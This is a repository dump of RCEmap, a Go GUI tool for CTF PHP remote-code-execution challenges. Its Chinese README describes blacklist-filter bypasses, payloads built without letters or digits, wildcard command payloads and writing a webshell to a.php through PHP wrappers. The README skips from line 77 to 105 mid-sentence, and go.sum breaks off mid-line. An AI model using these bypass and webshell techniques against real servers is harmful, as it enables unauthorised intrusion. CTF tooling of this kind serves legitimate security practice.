├── .gitignore ├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── icon.ico ├── main.go └── script ├── bashfuck.go ├── eval.go ├── fuzzpro.go ├── misc.go ├── rcemap.go ├── six2one.go └── system.go /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | dist/ 3 | 4 | script/shushu.py 5 | 6 | *.exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Pr1nt 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RCEmap 2 | 3 | ``` 4 | Author: 5 | ___ ___ __ 6 | / _ \___< /__ / /_ 7 | / ___/ __/ / _ \/ __/ 8 | /_/ /_/ /_/_//_/\__/ 9 | 10 | ██████╗ ██████╗███████╗███╗ ███╗ █████╗ ██████╗ 11 | ██╔══██╗██╔════╝██╔════╝████╗ ████║██╔══██╗██╔══██╗ 12 | ██████╔╝██║ █████╗ ██╔████╔██║███████║██████╔╝ 13 | ██╔══██╗██║ ██╔══╝ ██║╚██╔╝██║██╔══██║██╔═══╝ 14 | ██║ ██║╚██████╗███████╗██║ ╚═╝ ██║██║ ██║██║ 15 | ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ 16 | ``` 17 | 18 | ## 免责声明 19 | 本工具仅作为ctf题目中节省rce手测时间的自动化工具,禁止用于非法用途 20 | 21 | ## 简介 22 | 这是一款类似sqlmap的RCE自动化工具 23 | 24 | > ~~既然无法接入人工智能,为什么不直接接入人工呢~~ (这句话是在突然想到能让用户自己编写脚本来跑之后想到的)(奠定了半自动的基础x) 25 | > 24/5/19更新:将开发GUI,并将全自动更改为半自动 26 | 27 | v1.0将具有如下功能: 28 | 1. 自动绕过php语言黑名单过滤 29 | 2. 无数字字母RCE 30 | 3. 部分特殊字符被限制绕过 31 | 4. 限定字符数量RCE 32 | 33 | 目标: 34 | 1. 支持多语言RCE题目,如php, java,的过滤绕过与自动执行指定命令 35 | 2. 各框架(如thinkPHP)RCE漏洞自动打poc 36 | 37 | 预计将发布四个大版本,分别是 38 | 第一阶段: 无GUI的php版RCEmap 39 | 第二阶段: 有GUI版本 40 | 第三阶段: 带Java的版本 41 | 最终阶段: 带各框架漏洞的自动化RCE工具 42 | 43 | ## 现在的功能 44 | 45 | - [x] 检测源代码 46 | - [x] 无数字字母eval 47 | - [x] 无数字字母system 48 | - [x] 无数字字母或(注意!现在不太完善,会不断遍历导致卡死!!!!) 49 | - [ ] 黑名单(根据用户传入的命令进行执行) 50 | - [x] 黑名单(执行固定逻辑) 51 | - [x] 黑名单(根据过滤回显出可用函数用户自行执行) 52 | - [x] 利用环境变量拼接rce 53 | - [x] preg_replace/e的利用 54 | 55 | ## TODO 56 | 这个部分是后加的,本来没想写ToDo的,但是随着学习的深入和更多比赛的参加发现rce类型实在是太多了,于是这里写了个ToDo 57 | 58 | 59 | - [x] 无数字字母异或plus(限制字符种类数量,还缺自定义) 60 | - [x] 伪协议的利用(已完成php部分) 61 | - [ ] 少量字符rce,例如7字符 62 | 63 | - [ ] 重构一部分代码,新增探针 64 | - [ ] 识别注释并用换行绕过 65 | - [ ] fuzz出可用字符并进行利用 66 | 67 | - [ ] 允许用户自己编写脚本 68 | 69 | - [ ] rce-libs_AK 70 | 71 | ## 更新日志 72 | 73 | 3月16日发布第一版v0.1,实现了最容易的功能:在php7.x版本下,在能够使用`(` `)` `~` `;`的情况下,在题目是eval的情况下,实现rce 74 | 75 | 3月17日v0.2更新说明:在system的情况下实现无数字字母,新增二开后的bashfuck工具,优化代码结构,增加彩色INFO和WARNING信息,不用额外的qufan.py,并新增fuzz函数(后续会用到) 76 | 77 | 3月21日v0.3更新说明:新增在php5.x版本下,使用`> 目前的中文语言只能在win上使用,linux编译不出来也没法用我编译好的,我在linux平台编译完也是乱码 105 | > 具体工具的画面不够好看字体不好看什么的这些东西后期会慢慢加,现在先加功能 106 | > 我会GUI主功能部分从上到下开始说明 107 | > 声明: 作者很菜,软件开发着玩的,真有做不出来的题别骂我,发issue里,看到了会加功能上去,也请不要抱太大期待,真别以为靠一个工具就能解决所有的rce题目了,就顶级项目sqlmap呗也有梭不了的时候,主要还是要以提升自身水平自己学习为主,真别太依赖工具 108 | 109 | 首先打开软件之后,默认是自动模式,很不完善功能很少,建议直接看手动,自动模式现在具体有哪些功能我也不知道,后续会加上来. 110 | 111 | 手动模式下面就是两个参数点传入框,第二个一般是给伪协议情况下例如file_put-content这种需要传两个参数这种情况用的,其他的情况没试过不知道,然后是需要执行的命令,这个在下面情况下是不用写的,没有用: 112 | 113 | 1. 无数字字母下面你可能会看到一个叫`限制字符种类(固定)`的东西,自定义那个没写完,自定义那里面传执行的命令是有用的,固定这个没有用,这个题型主要是给`strlen(count_chars(strtolower($_), 0x3)) > 0xd `这种东西用的,你可能见过可能没见过,无所谓,当你见到的时候自然会知道我这个选项的作用 114 | 2. 黑名单绕过中,一个`执行固定逻辑`一个`根据输入的过滤回显出可用的函数自行执行`,这两个命令部分是没有用的,等到`用户传命令执行`部分实装了之后会有用 115 | 3. 环境变量构造里面没有用 116 | 4. 伪协议里面,当题目能使用php://input的时候有用,但是条件很严苛,其余情况,读取flag文件那里我写的很详细,包含了我能想到的各种flag名称,真有那逆天比赛flag名不叫flag的我也没办法,什么ffffflllllaaaaggg这玩意真没办法,其他的一个是写入,那里我选择写在a.php里面一个马,你访问一下就能看到了,至于保底的那个"前两个都不行"那个也只是把`rot13`改成了两次编码的`%7%32ot13`,其他的和写入是一样的 117 | 118 | 然后是GET&POST选项,这个还是建议什么时候都选一下的,至于一个参数是GET一个参数是POST那种我没考虑,你可以把文件本地弄一个然后跑一遍工具输出一个payload然后手动输进去(这个我真没办法,真有办法也得以后了) 119 | 120 | PHP版本那里大部分时候无用,像preg_replace/e那种你选上了也没用,一般来讲我应该是给无数字字母那里准备的,其他时候选不选随意,反正也就点一下的事,如果有的时候不知道是5还是7的时候你两个都试一下,万一出结果了呢 121 | 122 | 过滤部分,这里其实是必填的,不填过滤后续代码全是错的,除非题目就没有过滤,不然不管滤的什么都请输进去,直接复制题目中两个引号中间的正则就对了,我的过滤匹配方式也是正则匹配 123 | 124 | 然后就是最主要的题型选择部分: 125 | 1. 无数字字母RCE,当你点进去可能只有一个选择,那就对了,你先选,再看后面的东西,大部分都塞eval下面了,自增和ff什么的我都是直接选的一系列题型中最后一道过滤最多的当payload的,***'或'那里有bug!!!!!注意!!!!!***,或这里我写屎山代码在不断遍历,现在不建议使用,其他的没什么说的,你要是选了哪个结果不好使的话我的建议是全选一遍,毕竟总共就这么几个选项都选一下也不会浪费你很多时间,万一对了呢,system那里我只塞了一个bashfuck的方法,其他的例如什么环境变量什么的在环境变量的部分 126 | 2. 黑名单,eval和system的选择不管了,你自己选,下面有三个选项,第一个现在没做,做好了说明书会更新。第二个执行固定逻辑那个就是能ls就先ls一下,ls不了就遍历一下然后将带有flag且被过滤的话就加单引号绕过或者反斜线绕过什么的,如果说他过滤了一个很诡异的东西说那个是flag的话我还是那句话,我真没办法,这绕一下又不难你自己手动一下吧。第三个就相当于一个简易的遍历了,能遍历出来可以使用的函数和可用的字符,具体函数作用啥的你自己百度一下吧,线下赛的(你都打线下了,怎么可能会遇到这么简单的题)我没办法了。 127 | 3. 少量字符RCE,未完待续 128 | 4. 环境变量构造,如题,虽然是半固定,最后的payload差不多就是执行`/???/??t ????`这种的了,具体情况你自己试吧(传入命令使用`cat` 或者 `tac` 即可) 129 | 5. preg_replace/e,这个就如题,但是太简单的我没写进去,一般考这个也都搭配`strtolower`一起用,太简单的情况你还是百度吧 130 | 6. 伪协议,其实一开始没打算写整个伪协议而是打算写file_put_content的利用的,但是后来发现单写一个还想通杀的难度不如直接就写伪协议了,然后就写的这个 131 | 132 | 最底下是回显区,分界线可拉动,字太多了可以滚动,字体大小可以在左边列表底部调节,最右边是开始按钮和复制按钮,能将poc和回显之类的进行复制 133 | 134 | ## 备注 135 | 136 | 部分特殊题目做不了,比如ctfshowRCE最后一道题,那种的需要使用限定的解题方法就不是我这种工具里能涵盖的了,包括n1ctf中zako那道题,那种考察是思维的东西,考察grep命令的用法,我这工具做不到解出来那种题,哪怕我发布的最终版也做不到这种效果,那得是接入人工智能的才行了 137 | 再开发几个版本,后期可能会多加一些功能 138 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module rcemap 2 | 3 | go 1.22 4 | 5 | require ( 6 | fyne.io/fyne/v2 v2.4.5 7 | github.com/PuerkitoBio/goquery v1.9.2 8 | github.com/flopp/go-findfont v0.1.0 9 | golang.org/x/text v0.14.0 10 | ) 11 | 12 | require ( 13 | fyne.io/systray v1.10.1-0.20231115130155-104f5ef7839e // indirect 14 | github.com/andybalholm/cascadia v1.3.2 // indirect 15 | github.com/davecgh/go-spew v1.1.1 // indirect 16 | github.com/fredbi/uri v1.0.0 // indirect 17 | github.com/fsnotify/fsnotify v1.6.0 // indirect 18 | github.com/fyne-io/gl-js v0.0.0-20220119005834-d2da28d9ccfe // indirect 19 | github.com/fyne-io/glfw-js v0.0.0-20220120001248-ee7290d23504 // indirect 20 | github.com/fyne-io/image v0.0.0-20220602074514-4956b0afb3d2 // indirect 21 | github.com/go-gl/gl v0.0.0-20231021071112-07e5d0ea2e71 // indirect 22 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20240306074159-ea2d69986ecb // indirect 23 | github.com/go-text/render v0.1.0 // indirect 24 | github.com/go-text/typesetting v0.1.0 // indirect 25 | github.com/godbus/dbus/v5 v5.1.0 // indirect 26 | github.com/gopherjs/gopherjs v1.17.2 // indirect 27 | github.com/jsummers/gobmp v0.0.0-20151104160322-e2ba15ffa76e // indirect 28 | github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect 29 | github.com/pmezard/go-difflib v1.0.0 // indirect 30 | github.com/srwiley/oksvg v0.0.0-20221011165216-be6e8873101c // indirect 31 | github.com/srwiley/rasterx v0.0.0-20220730225603-2ab79fcdd4ef // indirect 32 | github.com/stretchr/testify v1.8.4 // indirect 33 | github.com/tevino/abool v1.2.0 // indirect 34 | github.com/yuin/goldmark v1.5.5 // indirect 35 | golang.org/x/image v0.11.0 // indirect 36 | golang.org/x/mobile v0.0.0-20230531173138-3c911d8e3eda // indirect 37 | golang.org/x/net v0.24.0 // indirect 38 | golang.org/x/sys v0.19.0 // indirect 39 | gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f // indirect 40 | gopkg.in/yaml.v3 v3.0.1 // indirect 41 | honnef.co/go/js/dom v0.0.0-20210725211120-f030747120f2 // indirect 42 | ) 43 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 3 | cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= 4 | cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= 5 | cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= 6 | cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= 7 | cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= 8 | cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= 9 | cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= 10 | cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= 11 | cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= 12 | cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= 13 | cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= 14 | cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= 15 | cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= 16 | cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= 17 | cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= 18 | cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= 19 | cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= 20 | cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= 21 | cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= 22 | cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= 23 | cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= 24 | cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= 25 | cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= 26 | cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= 27 | cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= 28 | cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= 29 | cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= 30 | cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= 31 | cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= 32 | cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= 33 | cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= 34 | cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= 35 | cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= 36 | cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= 37 | cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= 38 | cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= 39 | dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= 40 | fyne.io/fyne/v2 v2.4.5 h1:W6jpAEmLoBbKyBB+EXqI7GMJ7kLgHQWCa0wZHUV2VfQ= 41 | fyne.io/fyne/v2 v2.4.5/go.mod h1:SlOgbca0y80cRObu/JOhxIJdIgtoW7aCyqUVlTMgs0Y= 42 | fyne.io/systray v1.10.1-0.20231115130155-104f5ef7839e h1:Hvs+kW2VwCzNToF3FmnIAzmivNgrclwPgoUdVSrjkP8= 43 | fyne.io/systray v1.10.1-0.20231115130155-104f5ef7839e/go.mod h1:oM2AQqGJ1AMo4nNqZFYU8xYygSBZkW2hmdJ7n4yjedE= 44 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 45 | github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= 46 | github.com/PuerkitoBio/goquery v1.9.2 h1:4/wZksC3KgkQw7SQgkKotmKljk0M6V8TUvA8Wb4yPeE= 47 | github.com/PuerkitoBio/goquery v1.9.2/go.mod h1:GHPCaP0ODyyxqcNoFGYlAprUFH81NuRPd0GX3Zu2Mvk= 48 | github.com/andybalholm/cascadia v1.3.2 h1:3Xi6Dw5lHF15JtdcmAHD3i1+T8plmv7BQ/nsViSLyss= 49 | github.com/andybalholm/cascadia v1.3.2/go.mod h1:7gtRlve5FxPPgIgX36uWBX58OdBsSS6lUvCFb+h7KvU= 50 | github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= 51 | github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= 52 | github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= 53 | github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= 54 | github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= 55 | github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= 56 | github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= 57 | github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= 58 | github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= 59 | github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= 60 | github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= 61 | github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= 62 | github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= 63 | github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= 64 | github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= 65 | github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= 66 | github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= 67 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 68 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 69 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 70 | github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 71 | github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= 72 | github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= 73 | github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= 74 | github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= 75 | github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= 76 | github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= 77 | github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= 78 | github.com/flopp/go-findfont v0.1.0 h1:lPn0BymDUtJo+ZkV01VS3661HL6F4qFlkhcJN55u6mU= 79 | github.com/flopp/go-findfont v0.1.0/go.mod h1:wKKxRDjD024Rh7VMwoU90i6ikQRCr+JTHB5n4Ejkqvw= 80 | github.com/fredbi/uri v1.0.0 h1:s4QwUAZ8fz+mbTsukND+4V5f+mJ/wjaTokwstGUAemg= 81 | github.com/fredbi/uri v1.0.0/go.mod h1:1xC40RnIOGCaQzswaOvrzvG/3M3F0hyDVb3aO/1iGy0= 82 | github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= 83 | github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= 84 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= 85 | github.com/fyne-io/gl-js v0.0.0-20220119005834-d2da28d9ccfe h1:A/wiwvQ0CAjPkuJytaD+SsXkPU0asQ+guQEIg1BJGX4= 86 | github.com/fyne-io/gl-js v0.0.0-20220119005834-d2da28d9ccfe/go.mod h1:d4clgH0/GrRwWjRzJJQXxT/h1TyuNSfF/X64zb/3Ggg= 87 | github.com/fyne-io/glfw-js v0.0.0-20220120001248-ee7290d23504 h1:+31CdF/okdokeFNoy9L/2PccG3JFidQT3ev64/r4pYU= 88 | github.com/fyne-io/glfw-js v0.0.0-20220120001248-ee7290d23504/go.mod h1:gLRWYfYnMA9TONeppRSikMdXlHQ97xVsPojddUv3b/E= 89 | github.com/fyne-io/image v0.0.0-20220602074514-4956b0afb3d2 h1:hnLq+55b7Zh7/2IRzWCpiTcAvjv/P8ERF+N7+xXbZhk= 90 | github.com/fyne-io/image v0.0.0-20220602074514-4956b0afb3d2/go.mod h1:eO7W361vmlPOrykIg+Rsh1SZ3tQBaOsfzZhsIOb/Lm0= 91 | github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= 92 | github.com/go-gl/gl v0.0.0-20211210172815-726fda9656d6/go.mod h1:9YTyiznxEY1fVinfM7RvRcjRHbw2xLBJ3AAGIT0I4Nw= 93 | github.com/go-gl/gl v0.0.0-20231021071112-07e5d0ea2e71 h1:5BVwOaUSBTlVZowGO6VZGw2H/zl9nrd3eCZfYV+NfQA= 94 | github.com/go-gl/gl v0.0.0-20231021071112-07e5d0ea2e71/go.mod h1:9YTyiznxEY1fVinfM7RvRcjRHbw2xLBJ3AAGIT0I4Nw= 95 | github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= 96 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 97 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 98 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20211213063430-748e38ca8aec/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 99 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20240306074159-ea2d69986ecb h1:S9I8pIVT5JHKDvmI1vQ0qs5fqxzUfhcZm/YbUC/8k1k= 100 | github.com/go-gl/glfw/v3.3/glfw v0.0.0-20240306074159-ea2d69986ecb/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= 101 | github.com/go-text/render v0.1.0 h1:osrmVDZNHuP1RSu3pNG7Z77Sd2xSbcb/xWytAj9kyVs= 102 | github.com/go-text/render v0.1.0/go.mod h1:jqEuNMenrmj6QRnkdpeaP0oKGFLDNhDkVKwGjsWWYU4= 103 | github.com/go-text/typesetting v0.1.0 h1:vioSaLPYcHwPEPLT7gsjCGDCoYSbljxoHJzMnKwVvHw= 104 | github.com/go-text/typesetting v0.1.0/go.mod h1:d22AnmeKq/on0HNv73UFriMKc4Ez6EqZAofLhAzpSzI= 105 | github.com/go-text/typesetting-utils v0.0.0-20240329101916-eee87fb235a3 h1:levTnuLLUmpavLGbJYLJA7fQnKeS7P1eCdAlM+vReXk= 106 | github.com/go-text/typesetting-utils v0.0.0-20240329101916-eee87fb235a3/go.mod h1:DDxDdQEnB70R8owOx3LVpEFvpMK9eeH1o2r0yZhFI9o= 107 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 108 | github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= 109 | github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 110 | github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= 111 | github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= 112 | github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 113 | github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 114 | github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= 115 | github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 116 | github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= 117 | github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= 118 | github.com/golang/mock v1.4.0/go.mod 